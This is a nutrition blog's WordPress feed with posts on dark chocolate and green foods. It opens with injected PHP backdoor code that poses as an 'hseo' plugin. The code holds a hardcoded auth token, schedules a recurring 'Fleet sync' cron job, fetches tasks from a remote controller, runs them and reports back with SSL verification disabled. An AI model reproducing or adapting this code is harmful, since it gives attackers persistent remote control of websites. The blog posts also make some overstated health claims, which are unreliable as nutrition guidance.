// 32_3i if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/dh_euksrr/skinnygeneprojectnew.dreamsites.io/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// 32_3i', 'vis'=>'// dt_hq', 'vis_func'=>'wp_b81w3r', 'vis_paths'=>array('/home/dh_euksrr/skinnygeneprojectnew.dreamsites.io/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_kvystp5t', ); $keys=array(); $keys['id']='n2t'; $keys['ver']='i1'; $keys['caps']='nl6'; $keys['tasks']='eq2'; $keys['interval']='0jg'; $keys['ack_id']='ytf'; $keys['ok']='s5'; $keys['detail']='bz5'; $keys['inv']='dfw'; $keys['result']='ol0'; $hdr='X-5IR-Auth';$tok='qzgyGwI7GiNUKTDGlCr9NH72og7zIFkNJcTkhoBHA4E';$id='5c8458f75b41e4ae';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; 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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); antioxidant – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Thu, 10 Feb 2011 20:51:56 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp antioxidant – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 I HEART CHOCOLATE https://skinnygeneprojectnew.dreamsites.io/i-heart-chocolate/ https://skinnygeneprojectnew.dreamsites.io/i-heart-chocolate/#respond Thu, 10 Feb 2011 20:51:56 +0000 http://skinnygeneproject.dreamhosters.com/?p=1133 DID YOU KNOW…Both dark chocolate and cocoa have a greater antioxidant capacity and a greater total flavanol, and polyphenol, content than the fruit juices! (Which is outstanding because of the glycemic value of cocoa v. fruit juice is much better too!)

Heart disease is the #1 cause of death of people in your city, state, country, and world. But guess what? Great news for all of the chocoholics! Dark chocolate and cocoa are super foods that contain a very high amount of antioxidants – meaning they have been proven to lower your blood pressure and cholesterol therefore lowering your risk of heart disease! The darker the chocolate the more super the food!

Another bonus is that cocoa has a low glycemic index (GI). Although it is a sweet treat, it doesn’t impact our blood sugar in the way that sugar does, which is important when it comes to diabetes prevention.

So far, chocolate does not seem to be so bad, right? Well, what about all the fat? Chocolate in general does have a lot of fat. Although dark chocolate is different; it contains a special saturated fat from the cocoa bean that is unusual. Research has found that this fat actually acts more like an unsaturated fat in the body, therefore not resulting in increased cholesterol like other saturated fats do. Another chocolate bonus!

But there is one downfall of chocolate – the calories. On average a chocolate bar has ~220 calories, therefore it is essential to enjoy your love of chocolate in small quantities!

You gotta try this!! When it comes to cooking with cocoa, most recipes include adding fat (butter) to make it chocolaty. Keep in mind a heart healthy solution you can try is lowering the fat in the recipe by choosing an alternative, such as I can’t believe it’s not butter sticks. It looks like butter, cooks and bakes like butter, but has half the saturated fat!

Making healthy substitutions is the easiest way to keep your heart and your taste buds happy.

Try this recipe for DARK CHOCOLATE BROWNIES from best-selling author Ellie Krieger, Registered Dietitian on the Food Network.

Click on the photo to see a video of Ellie making these scrumptious brownies!
To see the actual recipe click here!

The ingredients we use in recipes are important. Not just for taste, but also how they affect the body.

Here are a couple of things to consider about ingredients used in this chocolaty recipe.

Dark chocolate– Try dark chocolate that is 60-70% cocoa solids. It is the “perfect combination between health and taste.”

Limit to 2 tbsp of butter – Butter is needed to mix with the sugar in dessert recipes to give them the right textures – try I can’t believe it’s not butter sticks.

Whole-wheat pastry flour – This flour has more fiber and vitamins than white flour, and can be a sneaky healthy substitution for your family. It is “soft and tender, just like all regular purpose flour, but it has all the goodness of whole wheat.”

Cocoa powder- It is full of heart healthy antioxidants with out the fat

Light brown sugar – provides flavor to your dessert – try splenda brown sugar substitute to cut the calories and sugar!

Eggs– are essential to hold foods together when baking, but they do contain a lot of saturated fat and cholesterol – give egg substitutes a try, you will never know the difference – but your heart will thank you – ½ the calories, no fat or cholesterol!

Yogurt– provides moisture to baked foods, your best bet is low-fat or nonfat

Canola oil – is the heart healthy fat of choice.

Vanilla – is a calorie free flavor for you desserts.

Walnuts – are a great addition to any food to provide your heart healthy essential fats.

Cooking spray – is a great way to cut the calories without cutting the flavor.

To learn more about healthy substitutions or cooking, or to speak with our nutrition staff, please email us at healthyhome@jmossfoundation.org

By Emily Barr, MS, RD, CNSC

]]> https://skinnygeneprojectnew.dreamsites.io/i-heart-chocolate/feed/ 0 SPRING INTO GREEN!! https://skinnygeneprojectnew.dreamsites.io/spring-into-green/ https://skinnygeneprojectnew.dreamsites.io/spring-into-green/#respond Thu, 04 Mar 2010 04:06:32 +0000 http://skinnygene.wordpress.com/?p=22 Green foods are all-around amazing additions to your diet.  Did you know most of them are associated with lowering your risk of cancer, some help reduce aging, most have low glycemic index values which are associated with better blood sugar control, and they are found to protect your heart?  The positive qualities of greens are abundant!  Here are some great tips to incorporate more greens in your diet this Spring!

 For a fresh crunch!

  •  Snack on cucumber and celery, both of these have <20 calories per serving (1/2 cucumber or 2 stalks of celery) and are full of fiber and water.  Both celery and cucumbers have been found to help lower your blood pressure.

 For a sweet treat!

  • Try fruit for dessert or snacks!  Some delicious green fruits include melons, apples, grapes, and pears.   These fruits have ~1/3 the calories of the average dessert! 
  • Add lime to foods for an extra sweet twist.  Limes are a great way to season foods without adding extra calories from fat. 

 It’s green on the inside!

  • Kiwifruits are super sweet treats that are green on the inside!  Kiwi provides a great source of Vitamin C (95% of the daily value), the antioxidant that protects our body from cell damage, inflammation and cancer.  Kiwi also provides a good source of fiber useful in lowering cholesterol and keeping blood sugars under control.   Simply cut the kiwi in half and spoon out the insides. Be sure to eat the seeds for the extra fiber!
  • Avocados are another green on the inside food that provides amazing nutrition benefits, including lowering your risk of cancer and promoting a healthy heart.  Add a slice of avocado to salads, soups, or sandwiches to enjoy these health benefits.

Super foods are a must!

  • Broccoli and Spinach are great sources of iron, which help carry oxygen through your body to give you energy and calcium, essential for strengthening and protecting your bones!  Both are great sources of fiber containing ~4-5 grams fiber per cup, which is an excellent way to satisfy your appetite on less than 50 calories!  These two foods are super foods because they provide additional amazing health benefits with consumption, for example prevention of cancer, removal of toxins from our body, repair sun damaged skin, protect our heart from inflammation that may cause a heart attack or stroke, and enhance the immune system. 

By Emily Barr, MS, RD, CNSC

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